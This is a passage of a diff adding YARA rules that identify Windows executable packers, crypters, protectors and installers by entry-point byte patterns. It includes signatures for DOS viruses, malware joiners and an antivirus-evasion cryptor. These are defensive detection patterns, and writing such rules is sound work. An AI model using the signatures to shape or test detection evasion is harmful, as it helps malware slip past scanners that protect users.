+		$0 = {00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 60 8B B4 24 24 00 00 00 8B BC 24 28 00 00 00 FC C6 C2 80 33 DB A4 C6 C3 02 E8 A9 00 00 00 0F 83 F1 FF FF FF 33 C9 E8 9C 00 00 00 0F 83 2D 00 00 00 33 C0 E8 8F 00 00 00 0F 83 37 00 00 00 C6 C3 02 41 C6 C0 10 E8 7D 00 00 00 10 C0 0F 83 F3 FF FF FF}
+		$1 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 FF FF C2 10 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 00 00 C2 14 68 FF FF 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00 68 ?? ?? ?? ?? 9C 81 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9D 54 FF 14 24 68 00 00 00 00}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _y0das_Crypter_v1x__Modified_
+{
+	meta:
+		description = "y0da's Crypter v1.x / Modified"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v23__North_Star_
+{
+	meta:
+		description = "NsPack v2.3 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? FF FF 85 C0 0F 84 56 03 00 00 89 85 ?? ?? FF FF E8 00 00 00 00 5B B9 54 03 00 00 03 D9 50 53 E8 9D 02 00 00 61}
+	condition:
+		$0 or $1
+}
+rule _PEncrypt_v30_
+{
+	meta:
+		description = "PEncrypt v3.0"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED 05 10 40 00 8D B5 24 10 40 00 8B FE B9 0F 00 00 00 BB ?? ?? ?? ?? AD 33 C3 E2 FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Silicon_Realms_Install_Stub_
+{
+	meta:
+		description = "Silicon Realms Install Stub"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? 92 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? ?? 40 00 33 D2 8A D4 89 15 ?? ?? 40 00 8B C8 81 E1 FF 00 00 00 89 0D ?? ?? 40 00 C1 E1 08 03 CA 89 0D ?? ?? 40 00 C1 E8 10 A3}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_ASPack_212__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake ASPack 2.12) -> emadicius"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _RosAsm_2050a__Betov_
+{
+	meta:
+		description = "RosAsm 2050a -> Betov"
+	strings:
+		$0 = {55 8B EC 60 8B 5D 08 B9 08 00 00 00 BF ?? ?? ?? ?? 83 C7 07 FD 8A C3 24 0F 04 30 3C 39 76 02 04 07 AA C1 EB 04 E2 EE FC 68 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A 00 FF 15 ?? ?? ?? ?? 61 8B E5 5D C2 04 00}
+	condition:
+		$0
+}
+rule _MicroJoiner_15__coban2k_
+{
+	meta:
+		description = "MicroJoiner 1.5 -> coban2k"
+	strings:
+		$0 = {BF 05 10 40 00 83 EC 30 8B EC E8 C8 FF FF FF E8 C3 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PCGuard_4xx__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake PC-Guard 4.xx) -> emadicius"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v051_
+{
+	meta:
+		description = "tElock v0.51"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 5E 8B FE 68 79 01 59 EB 01 EB AC 54 E8 03 5C EB 08}
+	condition:
+		$0 at entrypoint
+}
+rule _UPXFreak_v01_Borland_Delphi__HMX0101_
+{
+	meta:
+		description = "UPXFreak v0.1 (Borland Delphi) -> HMX0101"
+	strings:
+		$0 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00}
+		$1 = {BE ?? ?? ?? ?? 83 C6 01 FF E6 00 00 00 ?? ?? ?? 00 03 00 00 00 ?? ?? ?? ?? 00 10 00 00 00 00 ?? ?? ?? ?? 00 00 ?? F6 ?? 00 B2 4F 45 00 ?? F9 ?? 00 EF 4F 45 00 ?? F6 ?? 00 8C D1 42 00 ?? 56 ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 34 50 45 00 ?? ?? ?? 00 FF FF 00 00 ?? 24 ?? 00 ?? 24 ?? 00 ?? ?? ?? 00 40 00 00 C0 00 00 ?? ?? ?? ?? 00 00 ?? 00 00 00 ?? 1E ?? 00 ?? F7 ?? 00 A6 4E 43 00 ?? 56 ?? 00 AD D1 42 00 ?? F7 ?? 00 A1 D2 42 00 ?? 56 ?? 00 0B 4D 43 00 ?? F7 ?? 00 ?? F7 ?? 00 ?? 56 ?? 00 ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? 77 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 77 ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_440__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 4.40 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {31 2E 31 2E 34 00 00 00 C2 E0 94 BE 93 FC DE C6 B6 24 83 F7 D2 A4 92 77 40 27 CF EB D8 6F 50 B4 B5 29 24 FA 45 08 04 52 D5 1B D2 8C 8A 1E 6E FF 8C 5F 42 89 F1 83 B1 27 C5 69 57 FC 55 0A DD 44 BE 2A 02 97 6B 65 15 AA 31 E9 28 7D 49 1B DF B5 5D 08 A8 BA A8}
+	condition:
+		$0
+}
+rule _SDProtect__Randy_Li_
+{
+	meta:
+		description = "SDProtect -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+	condition:
+		$0 at entrypoint
+}
+rule _Setup_Factory_v6003_Setup_Launcher_
+{
+	meta:
+		description = "Setup Factory v6.0.0.3 Setup Launcher"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+	condition:
+		$0
+}
+rule _Enigma_protector_110_unregistered_
+{
+	meta:
+		description = "Enigma protector 1.10 (unregistered)"
+	strings:
+		$0 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89}
+		$1 = {60 72 80 72 88 72 8C 72 90 72 94 72 98 72 9C 72 A0 72 A4 59 A8 B0 5C E8 39 D5 39 E4 39 F1 31 F9 5C 3D 58 CA 5F 56 B1 2D 20 7A 2E 30 16 32 72 2B 72 36 1C A5 33 A9 9C AD 9C B1 9C B5 9C B9 9C BD 9C C1 9C C5 9C C9 9C CD 9C D1 9C D5 9C D9 9C DD 9C E1 9C E5 89 E9 51 0B C4 80 BC 7E 35 09 37 E7 C9 3D C9 45 C9 4D 74 92 BA E4 E9 24 6B DF 3E 0E 38 0C 49 10 27 80 51 A1 8E 3A A3 C8 AE 3B 1C 35}
+	condition:
+		$0 or $1
+}
+rule _InstallShield_Custom_
+{
+	meta:
+		description = "InstallShield Custom"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? 41 00 8B F0 85 F6 75 08 6A FF FF 15 ?? ?? 41 00 8A 06 57 8B 3D ?? ?? 41 00 3C 22 75 1B 56 FF D7 8B F0 8A 06 3C 22 74 04 84 C0 75 F1 80 3E 22 75 15 56 FF D7 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_
+{
+	meta:
+		description = "Crunch/PE"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v129_
+{
+	meta:
+		description = "Inno Setup Module v1.2.9"
+	strings:
+		$0 = {55 8B EC 83 C4 C0 53 56 57 33 C0 89 45 F0 89 45 EC 89 45 C0 E8 5B 73 FF FF E8 D6 87 FF FF E8 C5 A9 FF FF E8 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v071b7_
+{
+	meta:
+		description = "tElock v0.71b7"
+	strings:
+		$0 = {60 E8 48 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_v27b_
+{
+	meta:
+		description = "Exe Shield v2.7b"
+	strings:
+		$0 = {EB 06 68 40 85 06 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 87 DD 8B 85 E6 90 40 00 01 85 33 90 40 00 66 C7 85 30 90 40 00 90 90 01 85 DA 90 40 00 01 85 DE 90 40 00 01 85 E2 90 40 00 BB 7B 11 00 00 03 9D EA 90 40}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_by_Vaska_Sign_from_pinch_25032007_1700_
+{
+	meta:
+		description = "RJoiner by Vaska (Sign from pinch 25.03.2007 17:00)"
+	strings:
+		$0 = {E8 03 FD FF FF 6A 00 E8 0C 00 00 00 FF 25 6C 10 40 00 FF 25 70 10 40 00 FF 25 74 10 40 00 FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_UPX_06__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [UPX 0.6] --> Anorganix"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 00 00 00 FF 57 8D B0 E8 00 00 00 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_v34_
+{
+	meta:
+		description = "Shrinker v3.4"
+	strings:
+		$0 = {83 3D B4 ?? ?? ?? ?? 55 8B EC 56 57 75 6B 68 00 01 00 00 E8 ?? 0B 00 00 83 C4 04 8B 75 08 A3 B4 ?? ?? ?? 85 F6 74 23 83 7D 0C 03 77 1D 68 FF}
+		$1 = {BB ?? ?? BA ?? ?? 81 C3 07 00 B8 40 B4 B1 04 D3 E8 03 C3 8C D9 49 8E C1 26 03 0E 03 00 2B}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Enigma_protector_110111__Vladimir_Sukhov_
+{
+	meta:
+		description = "Enigma protector 1.10/1.11 -> Vladimir Sukhov"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+		$1 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31 C0 C3 83 C0 08 EB 02 FF 15 89 C4 61 EB 2E EA EB 2B 83 04 24 03 EB 01 00 31 C0 EB 01 85 64 FF 30 EB 01 83 64 89 20 EB 02 CD 20 89 00 9A 64 8F 05 00 00 00 00 EB 02 C1 90 58 61 EB 01 3E EB ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 01 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 05 F6 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 B9 3D 1A}
+	condition:
+		$0 or $1
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)"
+	strings:
+		$0 = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+	condition:
+		$0 at entrypoint
+}
+rule _PeStubOEP_v1x_
+{
+	meta:
+		description = "PeStubOEP v1.x"
+	strings:
+		$0 = {90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF}
+		$1 = {E8 05 00 00 00 33 C0 40 48 C3 E8 05}
+	condition:
+		$0 or $1
+}
+rule _PE_Protector_093__CRYPToCRACk_
+{
+	meta:
+		description = "PE Protector 0.9.3 --> CRYPToCRACk"
+	strings:
+		$0 = {5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 33 8B F3 03 73 3C 81 3E 50 45 00 00 75 26 0F B7 46 18 8B C8 69 C0 AD 0B 00 00 F7 E0 2D AB 5D 41 4B 69 C9 DE C0 00 00 03 C1 75 09 83 EC 04 0F 85 DD 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SimbiOZ_PolyCryptor_vxx_Extranger_
+{
+	meta:
+		description = "SimbiOZ PolyCryptor v.xx-> Extranger"
+	strings:
+		$0 = {55 60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Phoenix927_
+{
+	meta:
+		description = "Vx: Phoenix.927"
+	strings:
+		$0 = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _LamerStop_v10c_c_Stefan_Esser_
+{
+	meta:
+		description = "LamerStop v1.0c (c) Stefan Esser"
+	strings:
+		$0 = {E8 ?? ?? 05 ?? ?? CD 21 33 C0 8E C0 26 ?? ?? ?? 2E ?? ?? ?? 26 ?? ?? ?? 2E ?? ?? ?? BA ?? ?? FA}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_450_DLL_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 4.50 DLL (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 85 DB 75 0D 83 3D ?? ?? ?? ?? 00 75 04 31 C0 EB 57 83 FB 01 74 05 83 FB 02 75}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v060_
+{
+	meta:
+		description = "tElock v0.60"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 00 00 00 00 58 83 C0 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_099_
+{
+	meta:
+		description = "PE-PACK 0.99"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Intro_v10_
+{
+	meta:
+		description = "PE Intro v1.0"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48}
+	condition:
+		$0 at entrypoint
+}
+rule _Packanoid_v1__Arkanoid_
+{
+	meta:
+		description = "Packanoid v1 -> Arkanoid"
+	strings:
+		$0 = {BF ?? ?? ?? ?? BE ?? ?? ?? ?? E8 9D 00 00 00 B8 ?? ?? ?? ?? 8B 30 8B 78 04 BB ?? ?? ?? ?? 8B 43 04 91 E3 1F 51 FF D6 56 96 8B 13 8B 02 91 E3 0D 52 51 56 FF D7 5A 89 02 83 C2 04 EB EE 83 C3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_CodeSafe_20__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [CodeSafe 2.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _VideoLanClient_
+{
+	meta:
+		description = "Video-Lan-Client"
+	strings:
+		$0 = {55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v120b_
+{
+	meta:
+		description = "eXPressor v1.2.0b"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+	condition:
+		$0
+}
+rule _Packman_V0001__Bubbasoft_
+{
+	meta:
+		description = "Packman V0.0.0.1 -> Bubbasoft"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 48}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_MEW_11_SE_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [MEW 11 SE 1.0] --> Anorganix"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90}
+	condition:
+		$0 at entrypoint
+}
+rule _PGMPACK_v013_
+{
+	meta:
+		description = "PGMPACK v0.13"
+	strings:
+		$0 = {FA 1E 17 50 B4 30 CD 21 3C 02 73 ?? B4 4C CD 21 FC BE ?? ?? BF ?? ?? E8 ?? ?? E8 ?? ?? BB ?? ?? BA ?? ?? 8A C3 8B F3}
+	condition:
+		$0 at entrypoint
+}
+rule _diPacker_V1X__diProtector_Software_
+{
+	meta:
+		description = "diPacker V1.X -> diProtector Software"
+	strings:
+		$0 = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Explosion1000_
+{
+	meta:
+		description = "Vx: Explosion.1000"
+	strings:
+		$0 = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _Protection_Plus_vxx_
+{
+	meta:
+		description = "Protection Plus vx.x"
+	strings:
+		$0 = {50 60 29 C0 64 FF 30 E8 ?? ?? ?? ?? 5D 83 ED 3C 89 E8 89 A5 14 ?? ?? ?? 2B 85 1C ?? ?? ?? 89 85 1C ?? ?? ?? 8D 85 27 03 ?? ?? 50 8B ?? 85 C0 0F 85 C0 ?? ?? ?? 8D BD 5B 03 ?? ?? 8D B5 43 03 ?? ?? E8 DD ?? ?? ?? 89 85 1F 03 ?? ?? 6A 40 68 ?? 10 ?? ?? 8B 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v010__v012_Beta__Dwing_
+{
+	meta:
+		description = "Upack v0.10 - v0.12 Beta -> Dwing"
+	strings:
+		$0 = {BE 48 01 ?? ?? ?? ?? ?? 95 A5 33 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _CrunchPE_v10xx_
+{
+	meta:
+		description = "Crunch/PE v1.0.x.x"
+	strings:
+		$0 = {55 E8 ?? ?? ?? ?? 5D 83 ED 06 8B C5 55 60 89 AD ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 09 C6 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Protect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Protect 0.9] --> Anorganix"
+	strings:
+		$0 = {52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 07 00 00 00 58 83 C0 07 C6 90 C3 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Shield_vxx_
+{
+	meta:
+		description = "Exe Shield vx.x"
+	strings:
+		$0 = {65 78 65 73 68 6C 2E 64 6C 6C C0 5D 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_050__070_
+{
+	meta:
+		description = "UPX 0.50 - 0.70"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LTC_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LTC 1.3] --> Anorganix"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _PAVCryptor_Pawning_AntiVirus_Cryptor__masha_dev_
+{
+	meta:
+		description = "PAV.Cryptor (Pawning AntiVirus Cryptor) -> masha_dev"
+	strings:
+		$0 = {53 56 57 55 BB 2C ?? ?? 70 BE 00 30 00 70 BF 20 ?? ?? 70 80 7B 28 00 75 16 83 3F 00 74 11 8B 17 89 D0 33 D2 89 17 8B E8 FF D5 83 3F 00 75 EF 83 3D 04 30 00 70 00 74 06 FF 15 54 30 00 70 80 7B 28 02 75 0A 83 3E 00 75 05 33 C0 89 43 0C FF 15 1C 30 00 70 80 7B 28 01 76 05 83 3E 00 74 22 8B 43 10 85 C0 74 1B FF 15 14 30 00 70 8B 53 10 8B 42 10 3B 42 04 74 0A 85 C0 74 06 50 E8 8F FA FF FF FF 15 20 30 00 70 80 7B 28 01 75 03 FF 53 24 80 7B 28 00 74 05 E8 35 FF FF FF 83 3B 00 75 17 83 3D 10 ?? ?? 70 00 74 06 FF 15 10 ?? ?? 70 8B 06 50 E8 A9 FA FF FF 8B 03 56 8B F0 8B FB B9 0B 00 00 00 F3 A5 5E E9 73 FF FF FF 5D 5F 5E 5B C3 A3 00 30 00 70 E8 26 FF FF FF C3 90 8F 05 04 30 00 70 E9 E9 FF FF FF C3}
+	condition:
+		$0
+}
+rule _SC_Obfuscator__SuperCRacker_
+{
+	meta:
+		description = "SC Obfuscator -> SuperCRacker"
+	strings:
+		$0 = {60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C}
+	condition:
+		$0
+}
+rule _Ningishzida_10__CyberDoom_
+{
+	meta:
+		description = "Ningishzida 1.0 -> CyberDoom"
+	strings:
+		$0 = {9C 60 96 E8 00 00 00 00 5D 81 ED 03 25 40 00 B9 04 1B 00 00 8D BD 4B 25 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V112002006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.200.2006.Beta -> NEOx/[uinC]"
+	strings:
